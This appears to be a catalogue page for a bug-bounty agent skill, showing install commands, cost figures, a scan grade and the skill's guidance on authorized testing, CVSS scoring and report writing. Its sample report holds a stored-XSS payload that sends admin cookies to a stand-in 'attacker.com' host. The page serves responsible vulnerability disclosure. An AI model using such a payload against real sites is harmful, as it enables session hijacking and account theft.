Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add fatihkan/badi --skill pentest-bugbountygit clone --depth 1 https://github.com/fatihkan/badiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/fatihkan/badi/pentest-bugbounty)<a href="https://agentmods.dev/skills/fatihkan/badi/pentest-bugbounty"><img src="https://agentmods.dev/badge/skills/fatihkan/badi/pentest-bugbounty.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00074 | $0.01288 |
| Opus 5 | $0.00037 | $0.00644 |
| Sonnet 5 | $0.00015 | $0.00258 |
| Haiku 4.5 | $0.00007 | $0.00129 |
Grade A, and why
pentest-bugbounty scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))' How it starts
The opening of the file, as written. The whole thing — 150 lines — stays where its author put it; the contents beside it link to each section on GitHub.
pentest-bugbounty
Bug bounty hunting discipline — authorized programs only, ROE fidelity, dedupe, quality reports.
Triggers
- "let's write an H1 report"
- "Bugcrowd submission"
- "calculate the CVSS score"
- "how do I dedup"
- "bounty report template"
Program Selection Criteria
| Factor | Impact |
|---|---|
| Scope breadth (*.target.com vs app only) | Attack surface |
| Bounty range (min-max) | ROI |
| Response SLA (in days) | Patience |
| Disclosure policy (public/private) | Portfolio growth |
| Safe Harbor (legal protection) | Risk |
| Is a researcher rating required (private prog) | Eligibility |
Recommended starting point: VDP (vulnerability disclosure program) -> public bounty -> private invitation.
What NOT to Do (Program Violation)
- Testing out-of-scope assets (always a ban + legal risk)
- Production data exfil beyond the proof threshold
- Automated scan without vendor approval
- DoS / load test
- Social engineering against employees (usually forbidden)
- Brute force (usually forbidden)
- Public disclosure before client approval
Dedup Strategy
Before submission:
# H1 hacktivity
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'
# Bugcrowd public submissions
# Search on the program page
If it's the same vulnerability type + same endpoint -> duplicate risk, try another program.
CVSS 3.1 Quick Calculation
Base = Impact + Exploitability
Impact (CIA):
C/I/A: None=0, Low=0.22, High=0.56
Exploitability:
AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
AC: Low=0.77, High=0.44
PR: None=0.85, Low=0.62, High=0.27
UI: None=0.85, Required=0.62
Web exploit example:
- SQLi (authenticated, network, low complexity, low priv, no UI, high CIA)
- AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (HIGH)
Report Template (shared H1 / Bugcrowd)
## Title
[CRITICAL] Stored XSS in admin panel allows session hijack of all admins
## Severity
CVSS 3.1: 9.0 (CRITICAL)
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
## Summary
Authenticated low-priv user can inject JS into the comment field that
executes in admin browser when viewing dashboard. Session token is
exfiltrated to attacker-controlled domain.
## Steps to Reproduce
1. Login as low-privilege user ([email protected] / Test123!)
2. Navigate to /comments
3. Submit comment body: `<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">`
4. As admin, navigate to /admin/comments
5. Observe outbound request to attacker.com containing admin session cookie
## Impact
- Full admin compromise (session hijack)
- Persistent payload (stored DB)
- 1-click via existing admin workflow (no extra interaction)
## Proof of Concept
[screenshot1.png] — comment submission
[screenshot2.png] — admin browser request
[burp-export.har] — full HAR file
## Suggested Fix
- Server-side sanitize comment body (DOMPurify on save, not on render)
- CSP: `default-src 'self'; img-src 'self' data:`
- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`
## Additional Context
- Affected version: 4.2.1 (production as of 2026-05-15)
- Tested on: Chrome 119, Firefox 120
- No public PoC, no CVE assigned
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 150 lines · 74 tokens per session scan A b8cb81fd1c49
pentest-bugbounty is a skill published in the GitHub repository fatihkan/badi (7 stars, last pushed yesterday), licensed MIT. It adds 74 tokens to every session and 1,288 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-06.
Other skills, from other repositories
pr-triage
4-phase PR backlog management with audit, deep code review, validated comments, and optional worktree setup. Use when triaging pull requests, catching up on pending code reviews, or managing a backlog of open PRs. Args: 'all' to review all, PR numbers to focus (e.g. '42 57'), 'en'/'fr' for language, no arg = audit…
audit-agents-skills
Audit Claude Code agents, skills, and commands for quality and production readiness. Use when evaluating skill quality, checking production readiness scores, or comparing agents against best-practice templates.
eval-agents
Audit Claude Code agents defined in .claude/agents/ for description specificity, model tier appropriateness, tools scoping, and system prompt quality. Detects dispatch ambiguity between agents, flags over-permissive tool grants, and checks for human-in-the-loop patterns that break programmatic orchestration. Use when…
check-cache-bugs
Audit Claude Code setup for cache bugs (CC#40524): sentinel, --resume/--continue, attribution header + ArkNill B3/B4/B5.
issue-triage
3-phase issue backlog management with audit, deep analysis, and validated triage actions. Use when triaging GitHub issues, sorting bug reports, cleaning up stale tickets, or detecting duplicate issues. Args: 'all' to analyze all, issue numbers to focus (e.g. '42 57'), 'en'/'fr' for language, no arg = audit only.
git-ai-archaeology
Analyze AI config evolution in a git repo. Use when mapping AI adoption history, finding when configs were first introduced, charting commit velocity by month, or identifying maturity phases in a project's AI tooling.